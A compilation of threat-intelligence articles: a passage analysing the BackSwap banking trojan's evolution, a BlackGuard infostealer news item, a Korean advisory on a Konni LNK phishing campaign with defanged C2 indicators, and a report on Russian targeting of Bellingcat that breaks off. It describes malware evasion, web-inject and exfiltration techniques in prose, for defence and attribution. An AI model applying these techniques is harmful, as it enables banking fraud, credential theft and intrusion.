and APT campaigns. In this technique, the developers modified some C runtime initialization code, usually bundled to the executable by the compiler, which usually appears as pieces of code that execute prior to the program’s main function. In particular, they hijacked a piece of code that initializes internal data structures by invoking a set of callbacks from a predefined function pointer table. This table (used by the `__initterm()` function from CRT) is added with an additional pointer that will cause the C runtime to invoke the malware’s code before executing the original program. After the initialization code transfers the execution to the malicious code planted by BackSwap, the latter would either allocate a dedicated memory space for the final payload, sometimes create a new thread, or simply divert the instruction pointer to the final payload. As mentioned earlier, this payload is entirely written in assembly and invoked as position-independent code. Such code can be executed anywhere in the memory, regardless of its base address. Since this code cannot assume where it would be located, it uses relative addresses, jumps, and indirect calls instead of hard-coded memory addresses. Writing a whole malware in this fashion is not trivial, nor easy to write or analyze by researchers. Even though BackSwap’s position-independent payload went through several major changes and improvements in the last year, the developers did not drop this technique and have stuck to it since the very first variant, which may signify its effectiveness. One of the things that caught our attention, and was also mentioned in the publication by the Polish CERT, is how BackSwap uses its hard-coded strings. Unlike regular programs where strings are most likely to be found in read-only data sections, PIC code has to handle it differently. In particular, BackSwap uses a rare technique where the strings are not separated from the code but reside as an integral part of it, such that whenever BackSwap wants to push a string to the stack (e.g., in order to pass it as a function argument), it is placed inline with the code right after a CALL instruction to the address that follows the end of the string. Thus, when the call is invoked, the subsequent address to the instruction pointer’s value is saved in the stack, and this address would point to the inlined string. Because of BackSwap’s position-independent nature, it can’t rely on the Import Address Table to retrieve the addresses of common Windows API functions. Instead, it uses a common technique, used mostly in injected code, whereby the PEB structure (Process Environment Block) is processed in order to find the list of loaded modules, from which the address of kernel32.dll can be retrieved. Then, by parsing the PE structure and locating the `LoadLibraryA` API functions, BackSwap loads more DLLs, the names of which are hardcoded in it. In order to load all the functions that are needed for its execution, BackSwap creates an uninitialized table with hardcoded hashes of function names. It then iterates over all the export functions of the loaded libraries and calculates a hash number for each function name. These function names are compared to the precalculated hashes in the table, and if there is a match, BackSwap fills the address of the corresponding function in its table. This way, BackSwap implements and builds its very own Import Table in run-time. After initializing all the crafted table with all required function addresses, BackSwap begins to prepare the ground for its core functionality – stealing credentials and money from its victims. First, it checks if another instance of itself is already running. It does so by using a technique similar to checking the existence of a Mutex in the system. Namely, it determines if a Windows event object which has the name pattern `<USERNAME>-<COMPUTERNAME>` already exists. If so, the malware will terminate the execution, as it infers another copy is running in the system. Depending on its version, and following the above check, BackSwap would create several threads and set up event hooks for a range of events using the `SetWinEventHook` function. Although there are some changes in this behavior between different versions of the malware, the essential logic is the same – the hooked events are intended to intercept activity that occurs with relation to window applications across the computer. Some of the hooked events can be seen below. - `0x8005 EVENT_OBJECT_FOCUS` - `0x8006 EVENT_OBJECT_SELECTION` - `0x8007 EVENT_OBJECT_SELECTIONADD` - `0x8008 EVENT_OBJECT_SELECTIONREMOVE` - `0x8009 EVENT_OBJECT_SELECTIONWITHIN` - `0x800A EVENT_OBJECT_STATECHANGE` - `0x800B EVENT_OBJECT_LOCATIONCHANGE` - `0x800C EVENT_OBJECT_NAMECHANGE` - `0x800D EVENT_OBJECT_DESCRIPTIONCHANGE` - `0x800E EVENT_OBJECT_VALUECHANGE` Upon each event interception, the triggered hook function would search for a URL starting with `https` in the information gathered from the hooked events. In newer versions of BackSwap, if a URL was found, the malware will decrypt a resource from its .rsrc section which turns out to be its web-injects, a piece of JavaScript code that is injected into the internet browser in order to manipulate objects in pages visited by the user. This code will be parsed, and the found URL would be checked to see if it matches one of the banks targeted by the malware. The approach taken by BackSwap to insert the JavaScript code into the browser is simple, yet unique and powerful. Instead of injecting code straight to the browser’s memory, the malware mimics a user interaction with the browser’s window by sending keystrokes to it. Namely, it opens the browser’s Developer Tools or sets the focus to the URL bar and pastes the malicious JavaScript by faking a press on Ctrl+V. This unique way will go under the radar of many security tools because it is hard to tell the difference between this and a legitimate user interaction. Different versions of BackSwap interact differently with the browser and we will describe these differences later in the article. The content of the JavaScript web-injects is the component of BackSwap that changes most often across versions and samples. Obviously, it has to be unique for each targeted bank, but BackSwap goes the extra mile in changing what the JavaScript does, how it would manipulate the victim’s browser to send money to the criminals, and how it will pass the stolen credentials to the C&C server. One of the threads created by the malware will loop infinitely and check if the JavaScript web-inject passed any credentials to send to the C&C. It could be either by saving the stolen information to the clipboard or by changing the window’s title. Once again, these techniques of sending information from the JS to the binary differ between versions of BackSwap and will be discussed with more detail later on. ### BackSwap Evolution During the past few months, we have tracked hundreds of BackSwap samples and were able to observe many changes amongst them. By inspecting all this data, we could sort the samples into groups and note the changes and modifications in the malware’s behavior from its appearance in the wild to present time. #### Early Versions The first samples of BackSwap were spotted in the middle of March 2018 and are considered the simplest in its evolution. These samples almost did not contain any measures to complicate the analysis of the payload, which was inserted as-is into the original program (mostly 7-Zip but also WinGraph and SQLMon). For this reason, a lot of the malware’s strings, including targeted banks and browsers, were all visible. Hence, it was possible to infer that the targeted banks were all Polish, and each sample inspected was targeting between 1 and 3 banks. The most common targeted bank sites in these samples were ipko.pl, 24.pl, and mbank.pl. Another characteristic of this initial version is that it kept an encrypted resource for each one of the banks it targeted, where the encryption method used was a simple singly byte XOR with the value 0x9. It’s interesting to note that while this method is very weak from a cryptographic standpoint, BackSwap keeps using it to this day. The web-injects code itself was also quite straightforward and contained the placeholder ‘xxxxxxxxxxxxxxxxxxxxxxxxxx’ that was set by the malware to hold an IBAN for stolen money transactions. Whenever the victim entered one of the targeted banking websites and wanted to perform a transaction, the web-inject code would replace the target IBAN with the aforementioned one, thus transferring the money to the attackers instead of the real intended recipient. A month later, in April 2018, more banks were added as targets, and some of the samples contained up to six different resources in a single binary. The JavaScript implementation of the web-injects code improved and contained a new way for it to interact with the code in the PE binary, using the title of the browser’s window. The shellcode checks for changes to the text in the title of the browser and grabs the information which is sent to it by the web-injects. Additionally, a background thread in the malware’s PE took any stolen information and stored it in a log file on the computer, which was later sent to a C&C server. In the middle of April, BackSwap began to create fake input objects in the DOM of the targeted websites. These fake input fields look exactly like the original ones, but while the users fill the fake fields, the original fields are now hidden and contain the attacker’s IBAN. This change in BackSwap was thoroughly presented and demonstrated by F5 in this article. At the same time, the malware started to abandon a former injection technique whereby the victim’s browser was opened to the Developer Tools utility, where web-injects code would be pasted to alter the current page. Instead, it moved to a technique where the malicious JavaScript would be pasted in the URL address bar. At the end of April, BackSwap started using another XOR key for the first time in order to encrypt its resources; this time it was 0xb. This type of change has promptly become typical for BackSwap, to the extent that we were able to spot eight different encryption keys in May. In fact, all recent samples come with a distinctive key. However, as noted before, it still uses a single-byte XOR, which is a weak encryption method. Apart from the change in XOR key, the authors also moved the IBAN to be hardcoded in the web-injects JavaScript, as opposed to the binary where it previously resided. This persisted through most of the samples in May, where some had additional names appended, which most likely correspond to money mules that participated in the operation. The web-injects in May also presented a new function named `copyStringToClipboard` which was responsible for copying a given string to the clipboard, as the name suggests. This string contained stolen information that was filled by the victim and was picked up by a thread in the malware’s PE that read and processed it. Additionally, in the same month, BackSwap began tracking the number of infected machines, which was done by sending an HTTP request to a popular Russian website, yadro.ru, that tracks hit counts for websites. This method is very simple and effective for collecting victim telemetry from the attacker’s site, as it’s hard to flag by security products, with the target site for collection of this data being legitimate. #### Encrypted Payload Inside a BMP Image June 2018 was a significant month for the evolution of BackSwap, in which the developers introduced a unique technique for payload encoding that wasn’t described before in relation to BackSwap. In this technique, the PIC described before is encrypted and embedded inside a BMP image, taking advantage of a unique characteristic of the BMP header. The magic header of a BMP file is 0x42, 0x4D which corresponds to “BM” in ASCII. This pair of hexadecimal numbers happens to also be valid x86 instructions. The criminals behind BackSwap took advantage of the BMP header in order to make the code look more innocent. After the execution of these dummy instructions, there is a JMP instruction to an address that starts the decryption routine of the PIC. The decryption routine is quite simple and can be easily analyzed. While the first BMP image was rather abstract and hard to understand, the subsequent ones turned out to be meaningful and based on real images, either from the internet or created by the attackers. The first example to show up is an image from a famous scene in Al Pacino’s movie “Scarface.” The first sample with this image also contained a change in how BackSwap’s web-injects interact with the PE binary. The previously described technique where a window’s title was changed to convey information was removed, leaving the clipboard as the single entity for communicating with the malware’s code in the PE binary. #### Recent Versions The biggest respite in BackSwap’s activity was in July 2018. We detected almost no activity in its development as well as its distribution and estimated that some major improvements were likely to arrive. Indeed, in August 2018, we were provided with new samples that signified a particular turning point for the malware as we could observe some new changes in it. First, it shifted its malicious operation to focus almost entirely on Spanish banks while totally abandoning any previously targeted Polish banks. Except for the targets, BackSwap changed the way it stores its web-injects. Instead of keeping it in different resources for each targeted bank, as it did before, it aggregated all of them into a single resource, such that each web-inject code snippet was delimited by a particular separator keyword. During August, we detected two such separators being used, the first one was “[start:]” and the second “[fartu:]”. Moreover, the targeted bank sites were not stored in the malware’s PIC anymore, but in the web-inject code itself. A few samples from August were found using external websites to store their JavaScript payload. While the web-injects were still stored in the .rsrc section of the hijacked program, they were simply a wrapper and imported the malicious JavaScript code from other servers. This was the first and only time we saw BackSwap doing this. Storing malicious code on third-party servers is less stable since security vendors and the website itself can take down the malicious pages. BackSwap introduced a few more BMP images during August. We spotted images of Cartman, an old lady, Link from The Legend of Zelda video game series, and an image of the Russian president, Vladimir Putin. At the end of August, the criminals added a rather childish text to a version of Putin’s image where they try to offend the AV industry. The variants from September through November haven’t shown any major changes. We observed some modifications in the PIC payload, especially more encryption layers and tons of junk code that is meant to make the analysis more complicated as well as making the malware harder to detect. During these months, BackSwap introduced more separators to its JavaScript web-injects such as [mumuo:] and [pghtyq] in September, [tempo:] and [code:] in October, and the most recent [joke:] in November. It also added more versions for its BMP images. The main image used in October was of Stalin taken from a famous propaganda poster, and most of November’s samples had an image of a man waving the LGBTQ pride flag. The most recent sample that we spotted, from the end of November, introduced a new image taken from a 1970s Russian TV series called “Seventeen Moments of Spring” (Семнадцать мгновений весны) based on a novel with the same name. The delimiter in the web-injects was also changed and is now “[asap:]”. This isn’t the only change, as it seems that the way the malware transfers information from the JavaScript web-inject code to the executed shellcode in the PE changed as well. As described earlier, BackSwap used to send the victim’s credentials and other messages to the shellcode via the clipboard, which is now replaced by sending the same data through the browser’s URL. BackSwap’s latest sample was also sending another childish message to the AV industry, asking the industry to stay out of its way. ### Conclusion While banking trojans seem to have become a far less prominent method of stealing money in the cybercriminal world, BackSwap is evidence that this monetization model is not dead yet. In fact, when it comes to BackSwap, it seems that the opposite is true. As described in this publication, we can definitely see ongoing efforts by the malware’s authors to improve it and make it more evasive from security products. Moreover, users should be cautious when downloading software from unauthorized sources, as this malware demonstrates the ability to bypass security measures by pretending to be a legitimate application. In light of such a threat, it is highly recommended to obtain software only from the sites of its original distributors. We at Check Point Research are continuing to track this threat to provide the best mitigation against it, even in light of its dynamic and constantly changing nature.
# Experts Shed Light on BlackGuard Infostealer Malware Sold on Russian Hacking Forums A previously undocumented "sophisticated" information-stealing malware named BlackGuard is being advertised for sale on Russian underground forums for a monthly subscription of $200. "BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients," Zscaler ThreatLabz researchers Mitesh Wani and Kaivalya Khursale said in a report published last week. Also sold for a lifetime price of $700, BlackGuard is designed as a .NET-based malware that's actively under development, boasting a number of anti-analysis, anti-debugging, and anti-evasion features that allow it to kill processes related to antivirus engines and bypass string-based detection. What's more, it checks the IP address of the infected devices by sending a request to the domain "https://ipwhois[.]app/xml/" and exits itself if the country is one among the Commonwealth of Independent States (CIS). BlackGuard's extensive functionality means it can amass information stored in browsers, such as passwords, cookies, autofill data, browsing history, 17 different cold cryptocurrency wallets, and as many as six messaging apps, including Telegram, Signal, Tox, Element, Pidgin, and Discord. In addition, the malware targets 21 crypto wallet extensions installed in Chrome and Edge browsers, and three VPN apps NordVPN, OpenVPN, and ProtonVPN, the results of which are subsequently compressed into a ZIP archive and exfiltrated to a remote server. The findings come as Morphisec disclosed details of another infostealer family called Mars that's been observed leveraging fraudulent Google Ads for well-known software like OpenOffice to distribute the malware. "While applications of BlackGuard are not as broad as other stealers, BlackGuard is a growing threat as it continues to be improved and is developing a strong reputation in the underground community," the researchers said.
# 북 해킹 조직, 공정거래위원회 사칭 피싱 공격 진행중! 안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 공정거래위원회를 사칭한 피싱 메일을 통해 악성파일이 유포되고 있어 사용자들의 각별한 주의가 필요합니다. 이번에 발견된 피싱 메일은 '[공정거래위원회] 서면 실태조사 사전 예고 안내통지문'의 제목으로 유포되었으며, 본문에는 공정거래법의 조항을 언급하며 사용자의 협조를 구하는 내용과 함께 '소명자료 요청서류'의 파일명을 가진 압축파일(.zip)이 첨부되어 있습니다. 압축 파일 내부에는 다음과 같은 4개의 파일이 첨부되어 있습니다. - 결제대금예치 이용 확인증(전자상거래 등에서의 소비자보호에 관한 법률 시행규칙).hwp.lnk - 부당한 전자상거래 신고서(공정거래위원회 회의 운영 및 사건절차 등에 관한 규칙).pdf - 서면자료 요청.txt - 통신판매업 신고증(전자상거래 등에서의 소비자보호에 관한 법률 시행규칙).hwp.lnk 4개의 파일 중 2개의 파일은 한글(.hwp) 파일을 위장한 바로가기(.lnk) 파일로, 사용자를 속이기 위하여 아이콘을 한글 아이콘으로 위장하였으며, 파일명 뒤에 .hwp를 붙여 사용자가 한글 파일처럼 오인하도록 유도합니다. 2개의 바로가기 파일 속성 내에는 악성 명령어가 포함되어 있으며, 공격자는 분석을 회피하기 위하여 파일 속성 내 악성 명령어 앞에 수 많은 공백 코드를 추가하여 육안으로는 실제 명령어를 확인하기 어렵도록 만들어 놓았습니다. 바로가기 파일을 실행하면 정상 한글파일을 띄워 사용자로 하여금 정상 파일로 오인하도록 유도합니다. 하지만 백그라운드에서는 %Public% 폴더에 19924.vbs 파일과 21779.cab 파일을 생성 후 19924.vbs 파일을 실행합니다. 19924.vbs는 실행 후 21779.cab 내 존재하는 파일들을 %Public%\Documents 폴더에 복사한 후 start.vbs 파일을 실행합니다. 21779.cab 파일 내부에는 다수의 .vbs 및 .bat 파일이 포함되어 있으며, 실행된 start.vbs는 fully.bat 파일을 실행합니다. 21779.cab 파일 내부에 포함되어 있는 파일들의 역할은 다음과 같습니다. - **fully.bat**: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 레지스트리에 start.vbs 파일을 등록하여 지속성 확보, no1.bat, no4.bat 실행, pakistan.txt 파일이 존재시 pakistan.txt 파일 삭제, temprun.bat 파일이 존재시 temprun.bat 파일 삭제, c2에서 setup.cab 다운로드 후 압축해제 및 temprun.bat 실행 - **no1.bat**: start01.vbs, start02.vbs 실행 - **no4.bat**: 정보수집 후 upload.vbs 사용해 공격자 서버로 파일 업로드 - **start01.bat**: c2에서 파일을 내려받아 %public%\545225.zip로 저장 후 start01.vbs 스크립트 삭제 - **start02.bat**: %public%\545225.zip의 첫번째 파일 압축해제 후 545225.zip 파일 삭제, rundll32 및 압축해제 파일 실행 및 start02.vbs 스크립트 삭제 최종적으로 실행중인 프로세스 목록, 호스트 정보, 다운로드 폴더 목록, 바탕화면 목록, 사용자 IP정보 등을 탈취합니다. ESRC는 최근 "국세청 세무조사 출석요구 안내문 사칭 공격… 북한 배후 추정" 포스팅을 통해 주의를 당부한 적이 있습니다. 이번 공격 역시 분석결과 동일하게 북한 배후의 공격 조직인 '코니(Konni)'의 소행으로 결론지었습니다. 북한 배후 해킹 조직들의 공격이 날로 교묘해지고 빈번해 지고 있는 만큼, 사용자들의 각별한 주의를 당부 드립니다. 현재 알약에서는 해당 악성 파일들에 대하여 Trojan.Agent.LNK.Gen, Trojan.BAT.Agent 등으로 탐지하고 있습니다. ## IoC - hxxp://expressionkey[.]com/list.php?q=%COMPUTERNAME%.txt - hxxp://expressionkey[.]com/upload.php - hxxps://naver.down-files[.]com/v2/read/get.php?wp=ln3&zn=10294765.txt - 3fcdd49ba79cdfcb062f4784b6224939 - adf8ad0a860ff89a70ca8b94b20c4629 - 8e15aadf21efdaa67dd0cae6f0df203d - b12f0a3138b3c8102450814cab077b6f 저작자표시 비영리 변경금지
# Belling the BEAR **ThreatConnect Research Team** **9/28/2016** ThreatConnect reviews activity targeting Bellingcat, a key contributor in the MH17 investigation. ## Introduction Since posting about the DNC hack, each time we published a blog post on a BEAR-based topic we thought it was going to be our last. But like the Death Star’s gravitational pull, the story keeps drawing us back in as new information comes to light. Following our post on DCLeaks as a Russian influence operation, Bellingcat founder Eliot Higgins reached out to us. Bellingcat, a group of citizen investigative journalists, has published articles critical of Russia and has been a key contributor to the international investigation of the shootdown of Malaysian Airlines Flight 17 (MH17) over Ukraine in 2014. Higgins shared data with ThreatConnect that indicates Bellingcat has come under sustained targeting by Russian threat actors, which allowed us to identify a 2015 spearphishing campaign that is consistent with FANCY BEAR’s tactics, techniques, and procedures. We also analyzed a February 2016 attack by CyberBerkut — a group claiming to be pro-Russian Ukrainian hacktivists but also a suspected front for Moscow — against Russia-based Bellingcat contributor Ruslan Leviev, where CyberBerkut defaced the Bellingcat website and leaked Leviev’s personal details. As evidenced by these efforts and the attack on the World Anti-Doping Agency, organizations that negatively impact Russia’s image can expect Russian cyber operations intended to retaliate publicly or privately, influence, or otherwise maliciously affect them. ## Bellingcat Background Bellingcat is a group of citizen investigative journalists named after a classic fable that uses open source information, such as photos and videos posted on social media, maps, and publicly available satellite imagery. Bellingcat articles have focused on a variety of current events in Africa, the Middle East, the U.S., and Europe with a specific focus on notable conflicts related to Syria, Ukraine, and Russia. Bellingcat published its first post on July 5, 2014, and for the next twelve days focused mainly on the ongoing Syrian civil war, covering developments such as the use of chemical weapons, but also occasionally pointing out Russian involvement. On July 17, 2014, Malaysian Airlines Flight 17 crashed in pro-Russian rebel territory in eastern Ukraine, and Bellingcat released their first post on the topic. Over the next two years, Bellingcat would publish no fewer than 92 posts from at least 8 contributors focused on Russian involvement in the downing of MH17, using open source information and imagery to prove the presence of the Russian military in eastern Ukraine and that a Russian-supplied Buk missile launcher shot down MH17 from pro-Russian rebel territory. The Kremlin vehemently denies this. The Dutch took the lead in the criminal investigation through an international Joint Investigation Team (JIT) and officially considered Bellingcat’s reporting in their investigation. Founder Eliot Higgins was included as an official witness. The Dutch Safety Board ultimately found MH17 was shot down by a Russian-made surface-to-air missile but declined to assign blame for who was responsible for the launch. On September 28, the JIT is due to release the results of their criminal investigation. Compromising Bellingcat contributors could provide Russian intelligence services with journalists’ contacts and sources, personal information, insight into future reporting perceived as indemnifying Russia, as well as sensitive personal information. Such collection could facilitate influence operations and retaliation efforts against Bellingcat, or access that could be leveraged for follow-on operations. Compromising Bellingcat contributors’ accounts could also provide access to communications with the JIT, offering a glimpse at how the investigation of the downing of MH17 was proceeding. ## Activity Targeting Bellingcat ### Timeline The timeline below summarizes the notable dates related to the MH17 crash and investigation, Bellingcat’s articles related to those events, and the malicious activity targeting Bellingcat and Leviev. It’s important to note we do not have complete insight into all of the malicious activity that may have targeted Bellingcat during this timeframe. **FANCY BEAR** From February 2015 to July 2016, three researchers at Bellingcat — Higgins, Aric Toler, and Veli-Peka Kivimaki — who had contributed MH17 articles received numerous spearphishing emails, with Higgins alone receiving at least 16 phishing emails targeting his personal email account. A majority of the campaign took place from February to September 2015, with some activity resuming in May 2016. These spearphishing attempts consist of a variety of spoofed Gmail security notices alerting the target that suspicious activity was detected on their account. The target is prompted to click a URL resembling a legitimate Gmail security link to review the details of this suspicious activity. The attackers used several methods to redirect the target to credential harvesting pages. In at least 21 of the emails, the URL redirects the victim to a shortened Bitly URL. These shortened Bitly links, in turn, direct the victim to another Google-spoofing URL appended with the base64 encoded target email and name. One of the emails used a shortened TINYCC URL to achieve the same effect. In four of the other emails, the security links direct the target to a Google Sites page that spoofs a Google login page. Once the target visits the Bitly, TINYCC, or Google Sites URLs, they are prompted to enter their Google credentials, which would then be captured by the threat actors. The specifically crafted URLs with target-specific strings are consistent with a FANCY BEAR technique highlighted in Dell Secureworks research and employed against a DNC staffer whose files were leaked on DCLeaks. Reviewing the click information for the Bitly links, we identified that at least three of the Bitly URLs targeting the same Bellingcat individual were accessed in the timeframe consistent with the spearphishing attack. This suggests the individual clicked on the links in three of the spearphishing messages, but Bellingcat confirms that no credentials were supplied to these pages. Other consistencies with Russia and FANCY BEAR activity were also identified. In early May and again in mid-June 2016, Bellingcat contributor Aric Toler’s personal email address was targeted by FANCY BEAR. Using ThreatConnect’s Email Import function, we are able to identify that both messages abused Moscow-based Yandex email services to send malicious emails to the researcher. In the May phishing example, FANCY BEAR used the Yandex account berg01berg01@yandex[.]com. In the June 2016 example, Toler was targeted with a message that used hellomail1@yandex[.]com in a manner consistent with how Billy Rinehart was targeted prior to content from his personal Gmail being posted to DCLeaks. By analyzing the email headers provided by Bellingcat, we identified domains and corresponding IP addresses that the attackers leveraged as part of the spearphishing operation. | Spearphishing Domain | Mailserver IP | Domain Registrant | Domain Create Date | Name Server During Attack | |----------------------|---------------|-------------------|--------------------|---------------------------| | mxx.evrosatory[.]com | 46.22.208.204 | [email protected] | 2/13/14 | Carbon2u.com | | accounts.servicegoogle[.]com | 155.254.36.155 | [email protected] | 5/22/15 | Cata501836.earth.orderbox-dns.com | | mxx.us-westmail-undeliversystem[.]com | 46.22.208.204 | [email protected] | 2/28/14 | Carbon2u.com | | mx1.servicetransfermail[.]com | 95.153.32.53 | [email protected] | 6/3/15 | Cata501836.earth.orderbox-dns.com | | accounts.google.com.rnil[.]am | 198.105.122.187 | Private | 7/7/14 | Carbon2u.com | | mx6.set132[.]com | 198.105.122.187 | [email protected] | 9/30/14 | Carbon2u.com | | server.mx4.set132[.]com | 46.22.208.204 | [email protected] | 9/30/14 | Carbon2u.com | The domains evrosatory[.]com, us-westmail-undeliversystem[.]com have been previously identified by PricewaterhouseCoopers as FANCY BEAR, and the domain servicetransfermail[.]com closely resembles the servicetransfermail[.]com infrastructure that German Intelligence (BvF) established as FANCY BEAR within Cyber Brief Nr. 01/2016. FANCY BEAR also previously used both the Cata501836 and Carbon2u name servers to host infrastructure and email addresses from 1&1’s mail.com to register domains. We were able to identify further overlaps with other FANCY BEAR infrastructure by pivoting off of these indicators, which we will describe in a later blog post. Based on these consistencies, we assess FANCY BEAR almost certainly is behind the spearphishing and credential harvesting campaign targeting Eliot Higgins and other Bellingcat researchers. ### CyberBerkut Activity CyberBerkut describes itself as a group of pro-Russian Ukrainian hacktivists. They borrow the “Berkut” name from the now disbanded Ukrainian riot police who responded brutally to the 2014 EuroMaidan demonstrations in Kiev. CyberBerkut runs a digitally-fueled, aggressive, active measures campaign directed against a pro-western government in Kiev and points of western influence — such as NATO — in eastern Europe. CyberBerkut has conducted attacks across a spectrum of technical sophistication including distributed denial of service attacks (DDOS), disrupting and degrading the networks of Ukraine’s Central Election Commission during the 2014 election, hacking Ukrainian billboards and displaying pro-Russian messages, conducting computer network exploitation and strategic leaks of emails and documents, and leaking intercepted phone calls between high-ranking Ukrainian officials. This range suggests highly capable actors are behind CyberBerkut and they employ a high degree of operational planning when considering the offensive use of information and their effects. CyberBerkut defaced the Bellingcat webpage on February 10, 2016, claiming credit for the attack and singling out Ruslan Leviev, a Russian opposition blogger and Bellingcat contributor. Leviev published a compelling piece of citizen journalism on May 22, 2015, exploring the fate of Russian Spetsnaz soldiers believed to have been killed in combat operations within Ukraine earlier that month. According to Bellingcat founder Higgins, Leviev’s contributor account was compromised and used to post the CyberBerkut message. In an email interview, Leviev makes the following statement regarding the events that led to the compromise of his credentials and the defacement: > In my case, my old email account, which was located on Yandex servers, was hacked. The email account had a long, difficult password, not a word, from various letters, numbers, and special symbols. Plus there was a telephone number bound to the account for second factor authentication. Exactly how it was hacked — I don’t know. > 1. Either they as employees, or with their active assistance, intercepted the SMS authentication code. > 2. Or they, again, as an officer from the authorities or with their active assistance, gained direct access to the Yandex Mail servers where they seized the email from my old inbox. > 3. Or they know about a vulnerability in Yandex email that nearly nobody else knows about. Having seized the old email inbox, they used the password recovery mechanism for LiveJournal. My LiveJournal account (which I have not used for a long time) was connected to my old email address, but LiveJournal does not provide second factor authentication. Via password recovery of my LiveJournal from my stolen email, they took over my LiveJournal account and made a post. At the same time, my iCloud account was not set up for second factor authentication, and was connected only to my old email address for password recovery; it was also taken over. They performed a password recovery via my stolen email address for iCloud, logged in, but I received a notification on my iPhone about it, and I quickly cut off their access, but they were able to download some photos. They also tried to hack my Facebook and Twitter. They were unable to crack Facebook because I had second factor authentication and always need to enter the code generated by the Facebook app. They were able to log in to Twitter and change the password, but nothing was deleted and they didn’t tweet anything. I restored the password. Based on all the data, I assume that, as in the case of Alburovym, Kozlovsky, Parkhomenko, this was the activity of security services who intercepted the SMS containing the access code. So they got access to my old email account and they also gained access to my Twitter account (which was also under two-factor, but code is sent via SMS rather than generated in an app). Of my social networks where two-factor codes are generated via an application, they were unable to crack. Of my social networks where the two-factor code was sent via SMS, they were able to crack. Leviev suggests the attackers had direct access to Yandex mail servers or were able to intercept the SMS message used for two-factor authentication to compromise his old Yandex email account. Leviev goes on to describe that the actors then used emails from that old account to compromise his iCloud account and access pictures and other information saved from Leviev’s phone to iCloud. Some of this information was ultimately put in a February 24, 2016 post on CyberBerkut’s website that contained sensitive details of Leviev’s personal life, such as his pictures, phone number, address, passport scan, girlfriend’s name, and dating and sexual preferences. These attacks were an overt attempt to discredit Bellingcat research and Leviev, but also carried a message to others who publicly voice positions critical of Moscow that this form of journalism does not go unnoticed. We also found it interesting how much effort was expended and the degree of sources and methods exposed to achieve a simple defacement. We do not know whether the attackers intercepted Leviev’s SMS-based two-factor authentication or had direct access to Yandex mail servers, but either tactic is more suggestive of a state-backed actor as opposed to independent hacktivists. ## CyberBerkut and FANCY BEAR: Not the Same, But Showing Up to the Same Party Throughout our research, we have focused on FANCY BEAR, an advanced persistent threat (APT) group assessed to be Russian government. CyberBerkut, on the other hand, was a referential data point when we looked at precedence for pro-Russian proxies interfering with elections. CrowdStrike assessed in its 2015 Global Threat Report “there are indications that CyberBerkut has ties to Russian state security,” but the degree of Russian government control over the group is disputed. The timing of the FANCY BEAR spearphishing campaigns and the CyberBerkut attack against Leviev are interesting. The concerted FANCY BEAR spearphishing efforts over a six-month timeframe in 2015 show Moscow’s clear intent to compromise Bellingcat, most likely due to their posts on key current events involving Russia. This activity was followed by a hard stop and then additional targeted efforts by CyberBerkut in early 2016, which was in turn followed by additional FANCY BEAR spearphishing from May to July 2016. A key assumption underlying any assessment about how these activities are related stems from how an analyst assesses the motives for targeting Leviev. We came up with two scenarios: 1. **Stronger/Closer Coordination Between FANCY BEAR and CyberBerkut.** In this scenario, the activities against Bellingcat are coordinated with these two entities handing off operations. The timing suggests that the state actors, looking to compromise Bellingcat, pivoted to a more aggressive attack against Leviev when the initial spearphishing campaign failed to yield the desired results. Leviev is targeted more aggressively as a means to get at Bellingcat and since he lives in Russia, state actors would have additional tools in their kit to intercept his SMS two-factor authentication messages or gain direct access to Yandex’s mail servers. In this scenario, CyberBerkut functions as much as a strategic messaging outlet as the actual attacker and is subject to a much greater degree of direction and control from Moscow than previously assessed. 2. **The Common Enemies Approach: Weaker/Less Coordination Between FANCY BEAR and CyberBerkut.** In this scenario, the spearphishing campaigns conducted by FANCY BEAR are distinct in purpose and perpetrator from the CyberBerkut attack against Leviev. The spearphishing campaigns are more focused on Bellingcat’s coverage of the MH17 shootdown and involvement in the JIT investigation. CyberBerkut targets Leviev separately after his coverage of Russian military involvement in eastern Ukraine with some assistance from supportive friends in Moscow to compromise his Yandex account. Targeting Leviev is less about a broader compromise of Bellingcat and more about harassing one journalist. In this scenario, CyberBerkut is advancing Moscow’s interests and can call on the Russian intelligence services, but is still a distinct group. ## Leak Sites Leaking Over We looked to see if we could identify other overlaps between FANCY BEAR and CyberBerkut that would help us assess which of these two scenarios was more likely. Through our research into the Bellingcat activity, we found some surprising content overlaps with DCLeaks — another assessed Russian influence outlet — and a CyberBerkut pattern of registering infrastructure that FANCY BEAR also uses. These developments move the needle slightly towards a more coordinated relationship between the two groups, but not decisively. ### Comparing DCLeaks and CyberBerkut In our previous post, we identified a website called DCLeaks as a Russian-backed influence outlet. Information shared with ThreatConnect indicates that there is an association of some kind between the Guccifer 2.0 persona and the DCLeaks website. Shortly after publication, we became aware of a cache of documents leaked on the DCLeaks site. The files were allegedly obtained via a compromise of an organization affiliated with George Soros. It is interesting to note that earlier in 2016 CyberBerkut also published files purportedly associated with Soros. Analysis conducted by Anton Cherepanov, a security researcher who works for ESET, suggests that the content of the two leaks are similar with at least three of the Soros documents being found on both sites. The acquisition and publication of documents belonging to, or in some way associated with, the same individual is of interest as overlaps in targeting and potential similarities in stolen content could be indicative of a connection between DCLeaks and CyberBerkut. Further, as we have identified that there is a connection from DCLeaks to Guccifer 2.0 and from Guccifer 2.0 to FANCY BEAR, the overlap in leaked documents may suggest that both leak sites obtained their data from the same collection source, FANCY BEAR. While this alone isn’t enough to verify a relationship between the sites, there are some other interesting similarities. Despite their statuses as a U.S.-focused whistleblower and hacktivist group respectively, the websites of both DCLeaks and CyberBerkut primarily host content that is critical of individuals and governments perceived to oppose Russian foreign and domestic policies. Both sites attempt to appeal to civilian masses in the U.S. and Ukraine respectively by calling attention to purported in the political systems. **Aleksandr Panchenko** CyberBerkut’s main domain, cyber-berkut[.]org, was registered using privacy protection through the registrar Internet.bs and shortly thereafter hosted using CloudFlare infrastructure. Several other CyberBerkut-related domains redirect to this website. Most of these domains were also registered using privacy protection, but one domain, cyber-berkut[.]net was registered by “Aleksandr Panchenko” using the email address alex_panchenko@mail[.]com. The same day the domain was registered through Reg.ru, it was later routed to CloudFlare infrastructure, suggesting that this domain was not opportunistically procured by a domain registrant in hopes they could sell it to the CyberBerkut actors. Additional research into this name and email address identifies six other CyberBerkut-related domains, none of which are active currently, registered by this individual: - Cyber-berkut[.]su - Cyber-berkut[.]tk - Cyber-berkut[.]us - Cyber-berkut[.]me - Cyber-berkut[.]cz - 